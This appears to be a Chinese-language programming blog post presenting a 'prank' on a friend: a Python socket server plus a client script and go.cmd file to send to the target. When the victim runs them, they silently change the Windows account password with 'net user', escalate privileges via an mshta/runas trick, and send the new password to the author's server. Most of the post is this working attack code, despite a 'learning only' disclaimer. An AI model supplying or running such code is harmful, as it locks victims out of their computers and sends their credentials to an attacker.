這是我參與8月更文挑戰的第6天,活動詳情查看:8月更文挑戰」python
PS:最後的最後我啥都沒動改回去了! 僅供學習技術交流!切勿違法違紀!本人不承擔一切後果!編程
開發環境:win10+python3.7windows
開發工具:pycharmmarkdown
一想到遠程,就想到建立鏈接,一想到建立連接,就想到socket套接字(一想到套接字,就聯想到我沒有男盆友)dom
分別爲三個知識點:socket
1.socket遠程鏈接工具
2.建立客服端和服務端post
3.管理員權限運行代碼學習
我們今天是學習修改電腦密碼和遠程修改小夥伴的密碼,若是有哪裏解析很差,歡迎大佬指點一下。開發工具
該項目代碼爲3份(記住本身拿的是服務端的代碼,客服端代碼和go.cmd是發給別人的)
首先正常建立服務端:
建立套接字
綁定ip端口
設置監聽
等待鏈接
接收數據打印數據
關閉鏈接
import socket # 導入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket
server.bind(('192.168.246.1', 44444)) # 綁定IP/端口
server.listen(5) # 監聽
print('***********等待鏈接*********')
conn, addr = server.accept() # 鏈接
print(conn)
print('客戶端的地址:', addr)
client_msg = conn.recv(1024)
print('客戶端修改的密碼是: %s' % client_msg)
conn.close()
server.close()
複製代碼
windows的修改電腦密碼的命令:net User 用戶名 修改的密碼(能夠本身動手試一下)
在提醒一遍,記住服務端是咱們本身拿着的哈,別傻乎乎的發給對方了哦!
接下來就寫發給小夥伴的客戶端:
鏈接服務端的IP和端口
獲取當前使用的電腦帳戶名
生成隨機的電腦密碼
在終端執行修改Windows密碼的指令
發送修改以後的密碼
關閉套接字
import socket # 導入用到的模塊
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket實例
client.connect((ip, 端口)) # 鏈接server端IP地址/端口按你本身實際狀況來
user = getpass.getuser() # 獲取計算機用戶名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的隨機數
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地執行(相似於cmd命令)
client.send(psd.encode('utf-8')) # 將密碼發送給server端
back_msg = client.recv(1024)
client.close() # 關閉socket
複製代碼
到這一步基本就能夠本身去嘗試了,嘿嘿,可是要注意,當前代碼只能修改權限是admin的帳戶。
非admin用戶須要提升本身的執行權限,直接使用超級管理員權限執行cmd文件go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
複製代碼
最後我修改密碼成功登錄,居然發現了他的密碼!
難怪每次我和他鬥圖,我每次都鬥不贏他,原來是揹着我下了幾千個表情包,我怎麼就沒有想到這個騷操做呢!!!
我是白又白i,一名喜歡分享知識的程序媛❤️
若是沒有接觸過編程這塊的朋友看到這篇博客,發現不懂的或想要學習Python的,能夠直接留言+私我鴨【很是感謝你的點贊、收藏、關注、評論,一鍵四連支持】